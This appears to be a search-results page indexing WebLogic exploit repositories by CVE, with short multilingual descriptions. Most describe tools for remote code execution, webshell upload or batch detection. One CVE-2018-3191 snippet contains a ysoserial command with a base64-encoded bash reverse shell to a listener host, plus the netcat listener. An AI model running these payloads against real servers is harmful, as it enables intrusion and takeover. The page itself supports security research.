5180 matches found
CVE-2018-3191
CVE-2018-3191 ペイロードジェネレータ ダウンロード: https://github.com/voidfyoo/CVE-2018-3191/releases 使い方 java -jar weblogic-spring-jndi.jar 例： java -jar weblogic-spring-jndi.jar rmi://192.168.1.1:1099/Exp 注記 weblogic-spring-jndi-12.2.1.3.jar は weblogic 用: 12.2.1.3 weblogic-spring-jndi-10.3.6.0.jar は weblogic 用:...
PoCs-Weblogic_2017_10271
PoCs-Weblogic201710271 Weblogic-CVE-2017-10271 用の簡略化 PoC...
CVE-2018-2893
CVE-2018-2893 Weblogic CVE-2018-2893 利用 测试环境-Docker Docker 在这里！ https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2018-2628/README.md 附注：由于外网有 RMI 远程服务器，很方便弹到 shell；如果在内网，你需要指定自己的 RMI 服务器，不然无法获取到反弹 Shell ！！！ 0x01 生成 payload 0x02 发送 payload Payload:...
CVE-2020-14645
CVE-2020-14645 Weblogic CVE-2020-14645 UniversalExtractor JNDI注入 getDatabaseMetaData 项目依赖 https://github.com/5up3rc/weblogiccmd 演示 要求 1. JDK版本 JDK6u211/7u201/8u191 2. Weblogic版本 12.2.1.4.0 请勿非法使用！！！！！！ 参考 1. https://www.anquanke.com/post/id/210724 2. https://github.com/5up3rc/weblogiccmd 致谢 @Smi1...
CVE-2019-2725
CVE-2019-2725 weblogic命令回显+webshell上传 免责声明:本工具仅供安全测试学习用途,禁止非法使用 weblogic命令回显+webshell上传 脚本简介： 本脚本是基于weblogic 10.3.6和12.1.3版本进行测试，并用python3编写。 10.3.6使用的jdk7u21的payload 12.1.3使用的org.slf4j.ext.EventData类二次反序列化 py依赖的第三方库 requests、logzero 基础参数： 命令回显： Webshell上传：...
WLT3Serial
WLT3Serial WebLogic T3 および T3S リスナー向けのネイティブ Java ベースのデシリアライゼーションエクスプロイト（こちら に依存しており、これは Oracle のライセンス条件により 私が配布できず、Oracle のユーザー名/パスワードでのみダウンロードできます。そのため、私は「シン」リリース jar のみを配布でき、ユーザーは引き続き Oracle から必要な wlthint3client.jar ファイルを入手する必要があります。 JVM が初期化中にクラスをロードする方法に関する問題のため、フルオールインワン実行可能 WLT3Serial jar...
CVE-2018-3191
Weblogic-CVE-2018-3191 リモートコードコマンド実行の脆弱性 weblogic For Docker 環境 0x00 はじめに 2018年10月17日、Oracle社が公開した10月のCritical Patch Update（CPU）で、危険度の高いWebLogicリモートコード実行の脆弱性（CVE-2018-3191）が修正されました。 この脆弱性により、認証されていない攻撃者がT3プロトコルを介してネットワーク経由で脆弱なWebLogic Serverにアクセスし、サーバを乗っ取ることが可能となり、リモートコード実行につながる可能性があります。...
CVE-2020-14882
CVE-2020–14882 Weblogic 認証バイパス RCE CVE-2020–14882 によるパッチバイパス private static final String IllegalUrl = new String";", "%252E%252E", "%2E%2E", "..", "%3C", "%3E", ""; リスト %252E%252E %2E%2E .. %3E %3C ; 小文字 "%252E%252E%252F".lower '%252e%252e%252f' %252E%252E%252F から %252e%252e%252f へ...
CVE-2018-2628
CVE-2018-2628 WebLogic の逆シリアル化脆弱性再現 weblogic getshell python CVE-2018-2628-Getshell.py ip port shell1.jsp C:\Users\CTF\Desktoppython CVE-2018-2628-Getshell.py 10.10.20.166 7001 jason1.jsp / \ \ / / | | \ / / |/ \ | \ / /| \ / \ | | \ \ / /| | | | | || | | / / | | | | \ / / | |/ /| | | || | usage:...
CVE-2020-2555
CVE-2020-2555 Weblogic com.tangosol.util.extractor.ReflectionExtractor RCE com.supeream.CVE20202555 / author:Y4er.com gadget: BadAttributeValueExpException.readObject com.tangosol.util.filter.LimitFilter.toString com.tangosol.util.extractor.ChainedExtractor.extract...
CVE-2020-14882
CVE-2020-14882 Weblogic 10 weblogic 10 Weblogic 12 weblogic 12...
CVE-2018-2628-detect
CVE-2018-2628漏洞批量检测脚本 使用方法 IP格式： 192.168.31.1:443 192.168.31.100:443 命名为url.txt保存在同目录下执行脚本即可。 输出效果请自己注释！ 这么执行： 程序在Deepin下没问题，但是到了win10下的Ubuntu就不行了，改了一下 3是超时时间，单位秒 python weblogicpoc-cve-2018-2628-update.py 3 weblogicpoc-cve-2018-2628-update.py 1、把测试的IP添加到列表，检测完成后输出。 2、凑合着用吧...
CVE-2021-2109_poc
weblogicCVE-2021-2109poc weblogic CVE-2021-2109 バッチ検証 poc 使い方： まず別のサーバー上でJNDIExploit.jarをダウンロードし、java -jar JNDIExploit.jar -i ip を実行します。 そして、検出したいIPをurls.txtに配置し、このスクリプトを実行します。...
Oracle WebLogic Server - Remote Code Execution
Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 contains a remote code execution caused by unauthenticated access via T3, IIOP, letting attackers take over the server, exploit requires network access. id: CVE-2021-2135 info: name: Oracle WebLogic Server - Remote Code Execution author:...
Oracle WebLogic Server - Remote Code Execution
The Oracle WebLogic Server component of Oracle Fusion Middleware subcomponent: WLS - Web Services is susceptible to a remote code execution vulnerability that is easily exploitable and could allow unauthenticated attackers with network access via HTTP to compromise the server. Supported versions...
CVE-2018-3191
CVE-2018-3191 CVE-2018-3191 反弹shell 本地ip：172.16.38.1 Weblogic：172.16.38.174:7001 1、 本地执行 java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' 然后执行 nc -lvv 7777 （1） 其中的 bash...
CVE-2019-2725
POC-EXP このスクリプトはCVE-2019-2725 Weblogic 逆シリアル化RCE脆弱性を対象としています。使用前にVPSリスニングアドレスを変更し、実行時に特定のURLを送信することでテストを完了できます。 テストアドレス: http://192.168.209.134:49163/async/AsyncResponseService ペイロードパラメータのリスニングアドレスとポートを変更した後: python CVE-2019-2725.py 実行後にhttp://ip:ポート番号/async/AsyncResponseServiceを入力...
CVE-2021-2302
CVE-2021-2302 作者: quynhle 利用链 javax.management.BadAttributeValueExpException.readObject oracle.security.jps.az.internal.common.principals.toString oracle.security.jps.az.internal.common.principals.getResolvedPrincipal . . . con.newInstance . . . com.tangosol.coherence.mvel2.sh.ShellSession...
CVE-2026-21962
CVE-2026-21962 — Oracle HTTP Server / WebLogic Server 代理插件 通过 URI 规范化不一致绕过访问控制 针对 CVE-2026-21962（访问控制不当，CVSS 10.0）在 Oracle HTTP Server / 用于 Apache HTTP Server 的 Oracle WebLogic Server 代理插件中的独立复现利用与分析。 状态：已验证 ，针对前端为 WebLogic Server 12.2.1.4 的在线 OHS 12.2.1.4.0 和 14.1.2.0.0 环境。 1. 摘要 前端（OHS +...